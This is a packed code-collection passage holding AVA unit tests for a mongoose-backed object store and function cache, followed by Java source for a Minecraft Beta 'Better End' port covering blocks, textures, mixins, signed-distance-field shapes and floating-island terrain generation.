test.cb('should save objects with saveWrite false', t => {
const o = {a: {}, b: {c: {}}};
const saveWriteOptions = Object.assign({saveWrite: false}, options);
let e = new ObjectStore(saveWriteOptions);
e.set('save', o);
setTimeout(() => {
e.get('save').then(m => {
t.deepEqual(m, o);
t.end();
});
}, 100);
});
test('should find the created documents', async t => {
const id = 'static';
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
let m = await e.set(id, o);
t.deepEqual(m, o);
let d = await e.get(id);
t.deepEqual(d, o);
});
test('should find the created documents with an id function', async t => {
const f = () => 'dynamic';
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
await e.set(f, o);
let d = await e.get(f);
t.deepEqual(d, o);
});
test('should find the created documents with an id promise', async t => {
const id = Math.random();
const f = () => Promise.resolve(id);
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
await e.set(f, o);
let d = await e.get(f);
t.deepEqual(d, o);
});
test('should remove the created documents', async t => {
const id = Math.random();
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
await e.set(id, o);
await e.delete(id);
t.falsy(await e.get(id));
});
test('should remove the created documents with an id promise', async t => {
const id = Math.random();
const f = () => Promise.resolve(id);
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
await e.set(f, o);
await e.delete(f);
t.falsy(await e.get(f));
});
test('should provide a map like `has` method', async t => {
const id = Math.random();
const f = () => Promise.resolve(id);
const o = {a: 1, b: 'string'};
let e = new ObjectStore(options);
await e.set(f, o);
let d = await e.get(f);
t.deepEqual(d, o);
t.truthy(await e.has(f));
await e.delete(f);
t.falsy(await e.has(f));
});
<file_sep>'use strict';
import test from 'ava';
import {stub} from 'sinon';
import mongoose from 'mongoose';
import {FunctionCache} from '../lib';
const opts = {mongoose, modelName: 'FunctionCacheTest'};
test.cb.before('connect to database, drop the whole thing', t => {
mongoose.connect('mongodb://127.0.0.1/monrule', () => {
mongoose.connection.db.dropDatabase(t.end);
});
});
test.cb.after('cleanup databse', t => {
mongoose.model(opts.modelName).remove({}, t.end);
});
test('should only work with valid arguments', t => {
t.throws(() => new FunctionCache());
t.throws(() => new FunctionCache({}, opts));
});
test('should accept a function', t => {
t.notThrows(() => new FunctionCache(() => true));
});
test('should cache a function', async t => {
const r = stub();
r.returns({foo: true});
const c = new FunctionCache(r, opts);
await c.get(1);
await c.get(1);
t.true(r.calledOnce);
});
test('should provide a simple cache wrapper function', async t => {
const r = stub();
r.returns(1);
const c = new FunctionCache(r, opts);
const f = c.getWrapper();
await f(1, 2);
await f(1, 2);
t.true(r.calledOnce);
await f(1, 1);
await f(1, 1);
t.true(r.calledTwice);
await f(1, '1');
await f(1, '1');
t.true(r.calledThrice);
});
test('should create sensible ids for the arguments of the cached function', async t => {
const r = (a, b) => a + b;
const o = {namespace: 'stored-objects', mongoose, modelName: 'FunctionCacheTest'};
const c = new FunctionCache(r, o);
let id1 = c.getId(1, 2);
let id2 = c.getId(2, 1);
t.false(id1 === id2);
id1 = c.getId([{a: 1, b: 2}]);
id2 = c.getId([{a: 2, b: 1}]);
t.false(id1 === id2);
id1 = c.getId({a: 1, b: 2});
id2 = c.getId({a: 1, b: 2});
t.true(id1 === id2);
});
test('should clear all stored objects', async t => {
const r = stub();
r.returns(true);
const namespace = 'stored-objects';
const o = {namespace, mongoose, modelName: 'FunctionCacheTest'};
const c = new FunctionCache(r, o);
await c.get();
await c.get();
t.true(r.calledOnce);
await c.clear();
await c.get();
t.true(r.calledTwice);
});
test('should invalidate the cache with a query', async t => {
const r = stub();
r.returns({prop: 'value'});
const o = {namespace: 'stored-objects', mongoose, modelName: 'FunctionCacheTest'};
const c = new FunctionCache(r, o);
await c.get();
await c.get();
let res = await c.invalidate({'data.prop': 'value'});
t.truthy(res.result.ok);
await c.get();
t.true(r.callCount <= 2);
});
test.cb('should return a promise when called invalidate', t => {
const r = stub();
r.returns({prop: 'value'});
const o = {namespace: 'stored-objects', mongoose, modelName: 'FunctionCacheTest'};
const c = new FunctionCache(r, o);
c.invalidate({'data.prop': 'value'}).then(res => {
t.truthy(res.result.ok);
t.end();
});
});
test('should invalidate the cache within its namespace', async t => {
const r1 = stub();
const r2 = stub();
r1.returns({prop: 'value'});
r2.returns({prop: 'value'});
const o1 = {namespace: 'stored-objects', mongoose, modelName: 'FunctionCacheTest'};
const c1 = new FunctionCache(r1, o1);
const o2 = {namespace: 'different-namespace', mongoose, modelName: 'FunctionCacheTest'};
const c2 = new FunctionCache(r2, o2);
await c1.get();
await c1.get();
await c2.get();
await c2.get();
await c1.invalidate({'data.prop': 'value'});
await c1.get();
t.true(r1.callCount <= 2);
await c2.get();
t.true(r2.callCount === 1);
});
<file_sep>'use strict';
module.exports = inflect;
/**
* Remap object properties.
* @params {Object} obj The object to remap (mutates the object)
* @params {Object} map The property map to use, containts oldPropertyName: newPropertyName values
*/
function inflect(obj, map) {
if (!map) {
return;
}
for (let prop in obj) {
if (obj.hasOwnProperty(prop) && prop in map) {
obj[map[prop]] = obj[prop];
delete obj[prop];
}
}
}
<file_sep>'use strict';
import test from 'ava';
import mongoose from 'mongoose';
import {isModel} from '../../lib/utils';
test('should export a function', t => {
t.true(typeof isModel === 'function');
});
test('should identify a mongoose model', t => {
const model = mongoose.model('SaltyBucket', new mongoose.Schema({}));
t.true(isModel(model));
});
test('should not identify other objects', t => {
t.false(isModel({}));
t.false(isModel(null));
t.false(isModel(Object.create(null)));
t.false(isModel(1));
t.false(isModel(new mongoose.Schema({})));
});
| 86e39fc285081a02d4f6f57383518ab2c64a8bdf | [
"JavaScript",
"Markdown"
] | 11 | JavaScript | michaelkrone/monrule | fa8d57ef019dfd5c3057837e061cbe84335fdd53 | 86e7e213e7b8c3bce825ef35e67091effddb26b9 |
refs/heads/master | <file_sep>package paulevs.beb.block;
import net.minecraft.item.PlaceableTileEntity;
import net.modificationstation.stationloader.api.common.block.BlockItemProvider;
import net.modificationstation.stationloader.impl.common.preset.item.PlaceableTileEntityWithMeta;
import paulevs.beb.registry.EndTextures;
public class EndTerrainBlock extends EndStoneBlock implements BlockItemProvider {
private static final String[] VARIANTS = new String[] {
"amber_moss",
"cave_moss",
"chorus_nylium",
"crystal_moss",
"end_moss",
"end_mycelium",
"jungle_moss",
"pink_moss",
"shadow_grass"
};
public EndTerrainBlock(String name, int id) {
super(name, id);
}
@Override
public int getTextureForSide(int side, int meta) {
if (side == 0) {
return EndTextures.getBlockTexture("end_stone");
}
else if (side == 1) {
return EndTextures.getBlockTexture(VARIANTS[meta] + "_top");
}
else {
return EndTextures.getBlockTexture(VARIANTS[meta] + "_side");
}
}
@Override
protected int droppedMeta(int i) {
return i;
}
@Override
public PlaceableTileEntity getBlockItem(int i) {
return new PlaceableTileEntityWithMeta(i);
}
@Override
public int getVariants() {
return VARIANTS.length;
}
public static int getVariant(String name) {
for (int i = 0; i < VARIANTS.length; i++) {
if (VARIANTS[i].equals(name)) {
return i;
}
}
return 0;
}
}
<file_sep>package paulevs.beb.world.structures.placer;
import java.util.List;
import java.util.Random;
import net.minecraft.level.Level;
import net.minecraft.level.chunk.Chunk;
import net.minecraft.util.Vec3i;
public class FixedStructureScatter extends StructurePlacer {
private final int count;
public FixedStructureScatter(int count) {
this.count = count;
}
@Override
public void process(Level level, Random rand, int startX, int startZ, List<Vec3i> points) {
Chunk chunk = level.getChunk(startX, startZ);
for (int i = 0; i < count; i++) {
int x = rand.nextInt(16);
int z = rand.nextInt(16);
int y = chunk.getHeight(x, z);
if (y > 0) {
points.add(new Vec3i(x | startX, y, z | startZ));
}
}
}
}
<file_sep>package paulevs.beb.world.generator;
public enum BiomeType {
LAND,
VOID;
}
<file_sep># Better End Beta
A port of BetterEnd mod to Beta, probably will never be finished. Use the same key (G) for creative tab as BetterNetherBeta<file_sep>package paulevs.beb.util.sdf.primitive;
import paulevs.beb.util.MHelper;
public class SDFCappedCone extends SDFPrimitive {
private float radius1;
private float radius2;
private float height;
public SDFCappedCone setRadius1(float radius) {
this.radius1 = radius;
return this;
}
public SDFCappedCone setRadius2(float radius) {
this.radius2 = radius;
return this;
}
public SDFCappedCone setHeight(float height) {
this.height = height;
return this;
}
@Override
public float getDistance(float x, float y, float z) {
float qx = MHelper.length(x, z);
float k2x = radius2 - radius1;
float k2y = 2 * height;
float cax = qx - MHelper.min(qx, (y < 0F) ? radius1 : radius2);
float cay = Math.abs(y) - height;
float mlt = MHelper.clamp(MHelper.dot(radius2 - qx, height - y, k2x, k2y) / MHelper.dot(k2x, k2y, k2x, k2y), 0F, 1F);
float cbx = qx - radius2 + k2x * mlt;
float cby = y - height + k2y * mlt;
float s = (cbx < 0F && cay < 0F) ? -1F : 1F;
return s * (float) Math.sqrt(MHelper.min(MHelper.dot(cax, cay, cax, cay), MHelper.dot(cbx, cby, cbx, cby)));
}
}
<file_sep>package paulevs.beb.mixin;
import java.nio.FloatBuffer;
import org.lwjgl.BufferUtils;
import org.lwjgl.opengl.GL11;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.Shadow;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfo;
import net.minecraft.client.render.WorldRenderer;
import net.minecraft.level.Level;
@Mixin(WorldRenderer.class)
public class WorldRendererMixin {
private static FloatBuffer buffer = BufferUtils.createFloatBuffer(4);
@Shadow
private Level level;
@Inject(method = "renderSky", at = @At("HEAD"), cancellable = true)
private void beb_renderSky(float f, CallbackInfo info) {
if (level.dimension.field_2179 == 2) {
//GL11.glClearColor(100F, 0F, 0F, 1F);
//beb_setFogColor(1, 0, 0);
//info.cancel();
}
}
private static void beb_setFogColor(float r, float g, float b) {
buffer.rewind();
buffer.put(r);
buffer.put(g);
buffer.put(b);
buffer.put(1);
buffer.rewind();
GL11.glFog(GL11.GL_FOG_COLOR, buffer);
}
}
<file_sep>package paulevs.beb.mixin;
import java.io.File;
import org.spongepowered.asm.mixin.Mixin;
import org.spongepowered.asm.mixin.injection.At;
import org.spongepowered.asm.mixin.injection.Inject;
import org.spongepowered.asm.mixin.injection.callback.CallbackInfoReturnable;
import net.minecraft.level.chunk.ChunkIO;
import net.minecraft.level.chunk.LevelChunkLoader;
import net.minecraft.level.dimension.Dimension;
import net.minecraft.level.dimension.DimensionFile;
import net.minecraft.level.dimension.McRegionDimensionFile;
import paulevs.beb.world.generator.EndDimension;
@Mixin(McRegionDimensionFile.class)
public class McRegionDimensionFileMixin extends DimensionFile {
public McRegionDimensionFileMixin(File file, String worldName, boolean mkdirs) {
super(file, worldName, mkdirs);
}
@Inject(method = "getChunkIO", at = @At("HEAD"), cancellable = true)
private void beb_getChunkIO(Dimension dimension, CallbackInfoReturnable<ChunkIO> info) {
File parent = this.getParentFolder();
if (dimension instanceof EndDimension) {
File file = new File(parent, "DIM-END");
file.mkdirs();
info.setReturnValue(new LevelChunkLoader(file));
info.cancel();
}
}
}
<file_sep>package paulevs.beb.world.generator;
import java.util.Random;
import net.fabricmc.api.EnvType;
import net.fabricmc.api.Environment;
import net.minecraft.level.Level;
import net.minecraft.level.biome.Biome;
import net.minecraft.level.chunk.Chunk;
import net.minecraft.level.source.LevelSource;
import net.minecraft.level.source.OverworldLevelSource;
import paulevs.beb.noise.OpenSimplexNoise;
import paulevs.beb.registry.EndBlocks;
import paulevs.beb.util.BlockState;
import paulevs.beb.util.MHelper;
import paulevs.beb.world.biome.EndBiome;
public class EndLevelSource extends OverworldLevelSource {
private byte[] metas = new byte[32768];
private TerrainGenerator generator;
private OpenSimplexNoise surfNoise;
private Random random = new Random();
private Level level;
public EndLevelSource(Level level, long seed) {
super(level, seed);
this.generator = new TerrainGenerator(seed);
this.surfNoise = new OpenSimplexNoise(seed);
this.level = level;
}
@Override
public void shapeChunk(int chunkX, int chunkZ, byte[] tiles, Biome[] biomes, double[] temperatures) {
byte coverID, coverMeta;
generator.fillTerrainDensity(chunkX, chunkZ);
random.setSeed(MHelper.getSeed(chunkX, chunkZ));
byte fillID = (byte) EndBlocks.getBlockID("end_stone");
for (int x = 0; x < 16; x++) {
for (int z = 0; z < 16; z++) {
int index = x << 4 | z;
if (biomes[index] instanceof EndBiome) {
EndBiome biome = (EndBiome) biomes[index];
float value = (float) surfNoise.eval((chunkX + x) * 0.2, (chunkZ + z) * 0.2) * 0.4F + MHelper.randRange(0.4F, 0.6F, random);
BlockState surf = biome.getTerrain(value);
coverID = surf.getBlockID();
coverMeta = surf.getBlockMeta();
}
else {
coverID = biomes[index].topTileId;
coverMeta = 0;
}
for (int y = 0; y < 128; y++) {
if (generator.getDensity(x, y, z) > 0.0F) {
int index2 = index << 7 | y;
tiles[index2] = fillID;
metas[index2] = 0;
}
else if (y > 3) {
int index2 = index << 7 | (y - 1);
if (tiles[index2] == fillID) {
tiles[index2] = coverID;
metas[index2] = coverMeta;
}
}
}
}
}
}
@Override
public void buildSurface(int chunkX, int chunkZ, byte[] tiles, Biome[] biomes) {}
@Override
public void decorate(LevelSource levelSource, int chunkX, int chunkZ) {
int startX = chunkX << 4;
int startZ = chunkZ << 4;
Biome preBiome = level.getBiomeSource().getBiome(startX | 7, startZ | 7);
if (preBiome instanceof EndBiome) {
EndBiome biome = (EndBiome) preBiome;
random.setSeed(MHelper.getSeed(chunkX, chunkZ));
biome.decorate(level, random, startX, startZ);
}
}
@Override
public Chunk getChunk(int x, int z) {
Chunk chunk = super.getChunk(x, z);
for (int i = 0; i < metas.length; i++) {
if (metas[i] > 0) {
int bx = (i >> 11) & 15;
int by = i & 127;
int bz = (i >> 7) & 15;
chunk.field_957.method_1704(bx, by, bz, metas[i]);
}
}
return chunk;
}
@Environment(EnvType.CLIENT)
public String toString() {
return "EndLevelSource";
}
}
<file_sep>package paulevs.beb.util;
import java.util.Random;
import net.minecraft.util.Vec3i;
import net.minecraft.util.maths.MathHelper;
public class MHelper {
public static final float PI2 = (float) (Math.PI * 2);
public static int getSeed(int x, int z) {
int h = x * 374761393 + z * 668265263;
h = (h ^ (h >> 13)) * 1274126177;
return h ^ (h >> 16);
}
public static int getSeed(int seed, int x, int y) {
int h = seed + x * 374761393 + y * 668265263;
h = (h ^ (h >> 13)) * 1274126177;
return h ^ (h >> 16);
}
public static int randRange(int min, int max, Random random) {
return min + random.nextInt(max - min + 1);
}
public static double randRange(double min, double max, Random random) {
return min + random.nextDouble() * (max - min);
}
public static float randRange(float min, float max, Random random) {
return min + random.nextFloat() * (max - min);
}
public static Vec3i set(Vec3i res, Vec3i src) {
res.x = src.x;
res.y = src.y;
res.z = src.z;
return res;
}
public static Vec3i add(Vec3i a, Vec3i b) {
return new Vec3i(a.x + b.x, a.y + b.y, a.z + b.z);
}
public static Vec3i subtract(Vec3i a, Vec3i b) {
return new Vec3i(a.x - b.x, a.y - b.y, a.z - b.z);
}
public static float lengthSqr(float x, float y) {
return x * x + y * y;
}
public static float lengthSqr(float x, float y, float z) {
return x * x + y * y + z * z;
}
public static float length(float x, float y) {
return MathHelper.sqrt(lengthSqr(x, y));
}
public static float length(float x, float y, float z) {
return MathHelper.sqrt(lengthSqr(x, y, z));
}
public static int min(int a, int b) {
return a < b ? a : b;
}
public static int min(int a, int b, int c) {
return min(a, min(b, c));
}
public static int max(int a, int b) {
return a > b ? a : b;
}
public static float min(float a, float b) {
return a < b ? a : b;
}
public static float max(float a, float b) {
return a > b ? a : b;
}
public static float max(float a, float b, float c) {
return max(a, max(b, c));
}
public static int max(int a, int b, int c) {
return max(a, max(b, c));
}
public static float dot(float x1, float y1, float z1, float x2, float y2, float z2) {
return x1 * x2 + y1 * y2 + z1 * z2;
}
public static float dot(float x1, float y1, float x2, float y2) {
return x1 * x2 + y1 * y2;
}
public static float clamp(float value, float min, float max) {
return value < min ? min : value > max ? max : value;
}
public static float lerp(float delta, float start, float end) {
return start + delta * (end - start);
}
}
<file_sep>package paulevs.beb.registry;
import java.util.List;
import net.minecraft.block.BlockBase;
import net.minecraft.item.tool.Hatchet;
import net.minecraft.item.tool.Pickaxe;
import net.minecraft.item.tool.Shovel;
import net.minecraft.item.tool.ToolBase;
import net.minecraft.item.tool.ToolMaterial;
import net.modificationstation.stationloader.api.common.event.item.tool.EffectiveBlocksProvider;
import paulevs.beb.util.BlockTool;
import paulevs.beb.util.IBlockTool;
public class EndToolEffective implements EffectiveBlocksProvider {
@Override
public void getEffectiveBlocks(ToolBase toolBase, ToolMaterial toolMaterial, List<BlockBase> list) {
EndBlocks.getModBlocks().forEach((block) -> {
if (block instanceof IBlockTool) {
BlockTool tool = ((IBlockTool) block).getTool();
if (tool == BlockTool.AXE && toolBase instanceof Hatchet) {
list.add(block);
}
else if (tool == BlockTool.PICKAXE && toolBase instanceof Pickaxe) {
list.add(block);
}
else if (tool == BlockTool.SHOVEL && toolBase instanceof Shovel) {
list.add(block);
}
}
});
}
}
<file_sep>package paulevs.beb.registry;
import java.awt.image.BufferedImage;
import java.util.List;
import java.util.Map;
import javax.imageio.ImageIO;
import com.google.common.collect.Maps;
import net.modificationstation.stationloader.api.client.event.texture.TextureRegister;
import net.modificationstation.stationloader.api.client.texture.TextureFactory;
import net.modificationstation.stationloader.api.client.texture.TextureRegistry;
import paulevs.beb.BetterEndBeta;
import paulevs.beb.util.ResourceUtil;
public class EndTextures implements TextureRegister {
private static final Map<String, Integer> BLOCK_TEXTURES = Maps.newHashMap();
@Override
public void registerTextures() {
TextureFactory textureFactory = TextureFactory.INSTANCE;
TextureRegistry terrain = TextureRegistry.getRegistry("TERRAIN");
String pathBlock = "/assets/" + BetterEndBeta.MOD_ID + "/textures/block/";
loadTextureMap(textureFactory, terrain, pathBlock, BLOCK_TEXTURES);
}
private void loadTextureMap(TextureFactory factory, TextureRegistry registry, String path, Map<String, Integer> map) {
List<String> list = ResourceUtil.getResourceFiles(path);
list.forEach((texture) -> {
if (texture.endsWith(".png")) {
int width = 1;
int height = 1;
try {
BufferedImage img = ImageIO.read(ResourceUtil.getResourceAsStream(path + "/" + texture));
width = img.getWidth();
height = img.getHeight();
}
catch (Exception e) {
e.printStackTrace();
}
boolean normal = width == height;
int index = normal ? factory.addTexture(registry, path + texture) : factory.addAnimatedTexture(registry, path + texture, 1);
map.put(texture.substring(0, texture.lastIndexOf('.')), index);
}
});
}
public static int getBlockTexture(String name) {
return BLOCK_TEXTURES.getOrDefault(name, 0);
}
}
<file_sep>package paulevs.beb.util.sdf.operator;
import paulevs.beb.util.MHelper;
public class SDFSubtraction extends SDFBinary {
@Override
public float getDistance(float x, float y, float z) {
float a = this.sourceA.getDistance(x, y, z);
float b = this.sourceB.getDistance(x, y, z);
this.selectValue(a, b);
return MHelper.max(a, -b);
}
}
<file_sep>package paulevs.beb.block;
import net.minecraft.block.material.Material;
import paulevs.beb.util.BlockTool;
import paulevs.beb.util.IBlockTool;
public class EndStoneBlock extends EndBlock implements IBlockTool {
public EndStoneBlock(String name, int id) {
super(name, id, Material.STONE);
this.setHardness(STONE.getHardness());
this.setBlastResistance(5);
}
@Override
public BlockTool getTool() {
return BlockTool.PICKAXE;
}
}
<file_sep>package paulevs.beb.util.sdf.primitive;
import java.util.function.Function;
import net.minecraft.block.BlockBase;
import net.minecraft.util.Vec3i;
import paulevs.beb.util.BlockState;
import paulevs.beb.util.sdf.SDF;
public abstract class SDFPrimitive extends SDF {
protected Function<Vec3i, BlockState> placerFunction;
public SDFPrimitive setBlock(Function<Vec3i, BlockState> placerFunction) {
this.placerFunction = placerFunction;
return this;
}
public SDFPrimitive setBlock(BlockState state) {
this.placerFunction = (pos) -> {
return state;
};
return this;
}
public SDFPrimitive setBlock(BlockBase block) {
BlockState state = new BlockState(block);
this.placerFunction = (pos) -> {
return state;
};
return this;
}
public BlockState getBlockState(Vec3i pos) {
return placerFunction.apply(pos);
}
}
<file_sep>package paulevs.beb.world.generator;
import java.util.ArrayList;
import java.util.List;
import java.util.Map;
import java.util.Random;
import com.google.common.collect.Maps;
import net.minecraft.util.Vec3i;
import net.minecraft.util.maths.MathHelper;
import paulevs.beb.noise.OpenSimplexNoise;
import paulevs.beb.util.MHelper;
import paulevs.beb.util.sdf.SDF;
import paulevs.beb.util.sdf.operator.SDFScale;
import paulevs.beb.util.sdf.operator.SDFSmoothUnion;
import paulevs.beb.util.sdf.operator.SDFTranslate;
import paulevs.beb.util.sdf.primitive.SDFCappedCone;
public class IslandLayer {
private static final Random RANDOM = new Random();
private static final SDF ISLAND;
private final List<Vec3i> positions = new ArrayList<Vec3i>(9);
private final Map<Vec3i, SDF> islands = Maps.newHashMap();
private final OpenSimplexNoise density;
private final double distance;
private final float scale;
private final int seed;
private final int minY;
private final int maxY;
private int lastX = Integer.MIN_VALUE;
private int lastZ = Integer.MIN_VALUE;
public IslandLayer(int seed, double distance, float scale, int center, int heightVariation, boolean hasCentralIsland) {
this.distance = distance;
this.density = new OpenSimplexNoise(seed);
this.scale = scale;
this.seed = seed;
this.minY = center - heightVariation;
this.maxY = center + heightVariation;
}
private int getSeed(int x, int z) {
int h = seed + x * 374761393 + z * 668265263;
h = (h ^ (h >> 13)) * 1274126177;
return h ^ (h >> 16);
}
public void updatePositions(double x, double z) {
int ix = MathHelper.floor(x / distance);
int iz = MathHelper.floor(z / distance);
if (lastX != ix || lastZ != iz) {
lastX = ix;
lastZ = iz;
positions.clear();
for (int pox = -1; pox < 2; pox++) {
int px = pox + ix;
for (int poz = -1; poz < 2; poz++) {
int pz = poz + iz;
RANDOM.setSeed(getSeed(px, pz));
double posX = (px + RANDOM.nextFloat()) * distance;
double posY = MHelper.randRange(minY, maxY, RANDOM);
double posZ = (pz + RANDOM.nextFloat()) * distance;
if (density.eval(posX * 0.01, posZ * 0.01) > 0) {
positions.add(new Vec3i((int) posX, (int) posY, (int) posZ));
}
}
}
}
}
private SDF getIsland(Vec3i pos) {
SDF island = islands.get(pos);
if (island == null) {
if (pos.x == 0 && pos.z == 0) {
island = new SDFScale().setScale(1.3F).setSource(ISLAND);
}
else {
RANDOM.setSeed(getSeed(pos.x, pos.z));
island = new SDFScale().setScale(RANDOM.nextFloat() + 0.5F).setSource(ISLAND);
}
islands.put(pos, island);
}
return island;
}
private float getRelativeDistance(SDF sdf, Vec3i center, double px, double py, double pz) {
float x = (float) (px - center.x) / scale;
float y = (float) (py - center.y) / scale;
float z = (float) (pz - center.z) / scale;
return sdf.getDistance(x, y, z);
}
private float calculateSDF(double x, double y, double z) {
float distance = 10;
for (Vec3i pos: positions) {
SDF island = getIsland(pos);
float dist = getRelativeDistance(island, pos, x, y, z);
distance = MHelper.min(distance, dist);
}
return distance;
}
public float getDensity(double x, double y, double z) {
return -calculateSDF(x, y, z);
}
public void clearCache() {
if (islands.size() > 128) {
islands.clear();
}
}
private static SDF makeCone(float radiusBottom, float radiusTop, float height, float minY) {
float hh = height * 0.5F;
SDF sdf = new SDFCappedCone().setHeight(hh).setRadius1(radiusBottom).setRadius2(radiusTop);
return new SDFTranslate().setTranslate(0, minY + hh, 0).setSource(sdf);
}
static {
SDF cone1 = makeCone(0, 0.4F, 0.2F, -0.3F);
SDF cone2 = makeCone(0.4F, 0.5F, 0.1F, -0.1F);
SDF cone3 = makeCone(0.5F, 0.45F, 0.03F, 0.0F);
SDF cone4 = makeCone(0.45F, 0, 0.02F, 0.03F);
SDF coneBottom = new SDFSmoothUnion().setRadius(0.02F).setSourceA(cone1).setSourceB(cone2);
SDF coneTop = new SDFSmoothUnion().setRadius(0.02F).setSourceA(cone3).setSourceB(cone4);
ISLAND = new SDFSmoothUnion().setRadius(0.01F).setSourceA(coneTop).setSourceB(coneBottom);
}
}
<file_sep>package paulevs.beb.util.sdf.operator;
import net.minecraft.util.Vec3i;
import paulevs.beb.util.BlockState;
import paulevs.beb.util.sdf.SDF;
public abstract class SDFUnary extends SDF {
protected SDF source;
public SDFUnary setSource(SDF source) {
this.source = source;
return this;
}
@Override
public BlockState getBlockState(Vec3i pos) {
return source.getBlockState(pos);
}
}
<file_sep>package paulevs.beb.util;
import java.util.ArrayList;
import java.util.List;
import java.util.Random;
import java.util.function.Function;
import com.google.common.collect.Lists;
import net.minecraft.level.Level;
import net.minecraft.util.Vec3i;
import net.minecraft.util.maths.MathHelper;
import paulevs.beb.math.Vec3F;
import paulevs.beb.util.sdf.SDF;
import paulevs.beb.util.sdf.operator.SDFUnion;
import paulevs.beb.util.sdf.primitive.SDFLine;
public class SplineHelper {
public static List<Vec3F> makeSpline(float x1, float y1, float z1, float x2, float y2, float z2, int points) {
List<Vec3F> spline = Lists.newArrayList();
spline.add(new Vec3F(x1, y1, z1));
int count = points - 1;
for (int i = 1; i < count; i++) {
float delta = (float) i / (float) count;
float x = MHelper.lerp(delta, x1, x2);
float y = MHelper.lerp(delta, y1, y2);
float z = MHelper.lerp(delta, z1, z2);
spline.add(new Vec3F(x, y, z));
}
spline.add(new Vec3F(x2, y2, z2));
return spline;
}
public static void offsetParts(List<Vec3F> spline, Random random, float dx, float dy, float dz) {
int count = spline.size();
for (int i = 1; i < count; i++) {
Vec3F pos = spline.get(i);
float x = pos.x + (float) random.nextGaussian() * dx;
float y = pos.y + (float) random.nextGaussian() * dy;
float z = pos.z + (float) random.nextGaussian() * dz;
pos.set(x, y, z);
}
}
public static void powerOffset(List<Vec3F> spline, float distance, float power) {
int count = spline.size();
float max = count + 1;
for (int i = 1; i < count; i++) {
Vec3F pos = spline.get(i);
float x = (float) i / max;
float y = pos.y + (float) Math.pow(x, power) * distance;
pos.set(pos.x, y, pos.z);
}
}
public static SDF buildSDF(List<Vec3F> spline, float radius1, float radius2, Function<Vec3i, BlockState> placerFunction) {
int count = spline.size();
float max = count - 2;
SDF result = null;
Vec3F start = spline.get(0);
for (int i = 1; i < count; i++) {
Vec3F pos = spline.get(i);
float delta = (float) (i - 1) / max;
SDF line = new SDFLine()
.setRadius(MHelper.lerp(delta, radius1, radius2))
.setStart(start.x, start.y, start.z)
.setEnd(pos.x, pos.y, pos.z)
.setBlock(placerFunction);
result = result == null ? line : new SDFUnion().setSourceA(result).setSourceB(line);
start = pos;
}
return result;
}
public static SDF buildSDF(List<Vec3F> spline, Function<Float, Float> radiusFunction, Function<Vec3i, BlockState> placerFunction) {
int count = spline.size();
float max = count - 2;
SDF result = null;
Vec3F start = spline.get(0);
for (int i = 1; i < count; i++) {
Vec3F pos = spline.get(i);
float delta = (float) (i - 1) / max;
SDF line = new SDFLine()
.setRadius(radiusFunction.apply(delta))
.setStart(start.x, start.y, start.z)
.setEnd(pos.x, pos.y, pos.z)
.setBlock(placerFunction);
result = result == null ? line : new SDFUnion().setSourceA(result).setSourceB(line);
start = pos;
}
return result;
}
public static boolean fillSpline(List<Vec3F> spline, Level world, BlockState state, Vec3i pos, Function<BlockState, Boolean> replace) {
Vec3F startPos = spline.get(0);
for (int i = 1; i < spline.size(); i++) {
Vec3F endPos = spline.get(i);
if (!(fillLine(startPos, endPos, world, state, pos, replace))) {
return false;
}
startPos = endPos;
}
return true;
}
public static void fillSplineForce(List<Vec3F> spline, Level world, BlockState state, Vec3i pos, Function<BlockState, Boolean> replace) {
Vec3F startPos = spline.get(0);
for (int i = 1; i < spline.size(); i++) {
Vec3F endPos = spline.get(i);
fillLineForce(startPos, endPos, world, state, pos, replace);
startPos = endPos;
}
}
public static boolean fillLine(Vec3F start, Vec3F end, Level level, BlockState state, Vec3i pos, Function<BlockState, Boolean> replace) {
float dx = end.x - start.x;
float dy = end.y - start.y;
float dz = end.z - start.z;
float max = MHelper.max(Math.abs(dx), Math.abs(dy), Math.abs(dz));
int count = MathHelper.floor(max + 1);
dx /= max;
dy /= max;
dz /= max;
float x = start.x;
float y = start.y;
float z = start.z;
boolean down = Math.abs(dy) > 0.2;
BlockState bState = new BlockState();
Vec3i bPos = new Vec3i();
for (int i = 0; i < count; i++) {
bPos.x = (int) (x + pos.x);
bPos.y = (int) (y + pos.y);
bPos.z = (int) (z + pos.z);
BlockState.getState(level, bPos, bState);
if (bState.equals(state) || replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
bPos.y = bPos.y - 1;
BlockState.getState(level, bPos, bState);
if (down && bState.equals(state) || replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
}
}
else {
return false;
}
x += dx;
y += dy;
z += dz;
}
bPos.x = (int) (end.x + pos.x);
bPos.y = (int) (end.y + pos.y);
bPos.z = (int) (end.z + pos.z);
BlockState.getState(level, bPos, bState);
if (bState.equals(state) || replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
bPos.y = bPos.y - 1;
BlockState.getState(level, bPos, bState);
if (down && bState.equals(state) || replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
}
return true;
}
else {
return false;
}
}
public static void fillLineForce(Vec3F start, Vec3F end, Level level, BlockState state, Vec3i pos, Function<BlockState, Boolean> replace) {
float dx = end.x - start.x;
float dy = end.y - start.y;
float dz = end.z - start.z;
float max = MHelper.max(Math.abs(dx), Math.abs(dy), Math.abs(dz));
int count = MathHelper.floor(max + 1);
dx /= max;
dy /= max;
dz /= max;
float x = start.x;
float y = start.y;
float z = start.z;
boolean down = Math.abs(dy) > 0.2;
BlockState bState = new BlockState();
Vec3i bPos = new Vec3i();
for (int i = 0; i < count; i++) {
bPos.x = (int) (x + pos.x);
bPos.y = (int) (y + pos.y);
bPos.z = (int) (z + pos.z);
BlockState.getState(level, bPos, bState);
if (replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
bPos.y = bPos.y - 1;
BlockState.getState(level, bPos, bState);
if (down && replace.apply(bState)) {
BlocksHelper.setWithoutUpdate(level, bPos, state);
}
}
x += dx;
y += dy;
z += dz;
}
bPos.x = (int) (end.x + pos.x);
bPos.y = (int) (end.y + pos.y);
